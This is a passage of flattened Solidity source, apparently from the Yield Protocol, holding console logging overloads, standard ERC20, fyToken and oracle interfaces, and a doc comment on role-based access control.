_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@yield-protocol/utils-v2/contracts/token/IERC20.sol"; interface IFYToken is IERC20 { /// @dev Asset that is returned on redemption. function underlying() external view returns (address); /// @dev Unix time at which redemption of fyToken for underlying are possible function maturity() external view returns (uint256); /// @dev Record price data at maturity function mature() external; /// @dev Mint fyToken providing an equal amount of underlying to the protocol function mintWithUnderlying(address to, uint256 amount) external; /// @dev Burn fyToken after maturity for an amount of underlying. function redeem(address to, uint256 amount) external returns (uint256); /// @dev Mint fyToken. /// This function can only be called by other Yield contracts, not users directly. /// @param to Wallet to mint the fyToken in. /// @param fyTokenAmount Amount of fyToken to mint. function mint(address to, uint256 fyTokenAmount) external; /// @dev Burn fyToken. /// This function can only be called by other Yield contracts, not users directly. /// @param from Wallet to burn the fyToken from. /// @param fyTokenAmount Amount of fyToken to burn. function burn(address from, uint256 fyTokenAmount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IOracle { /** * @notice Doesn't refresh the price, but returns the latest value available without doing any transactional operations: * @return value in wei */ function peek(bytes32 base, bytes32 quote, uint256 amount) external view returns (uint256 value, uint256 updateTime); /** * @notice Does whatever work or queries will yield the most up-to-date price, and returns it. * @return value in wei */ function get(bytes32 base, bytes32 quote, uint256 amount) external returns (uint256 value, uint256 updateTime); }
SPDX-License-Identifier: MIT* @dev Contract module that allows children to implement role-based access control mechanisms. Roles are referred to by their `bytes4` identifier. These are expected to be the signatures for all the functions in the contract. Special roles should be exposed in the external API and be unique: ``` bytes4 public constant ROOT = 0x00000000; ``` Roles represent restricted access to a function call. For that purpose, use {auth}: ``` function foo() public auth { ... } ``` Roles can be granted and revoked dynamically via the {grantRole} and {revokeRole} functions. Each role has an associated admin role, and only accounts that have a role's admin role can call {grantRole} and {revokeRole}. By default, the admin role for all roles is `ROOT`, which means that only accounts with this role will be able to grant or revoke other roles. More complex role relationships can be created by using {setRoleAdmin}. WARNING: The `ROOT` is also its own admin: it has permission to grant and revoke this role. Extra precautions should be taken to secure accounts that have been granted it./
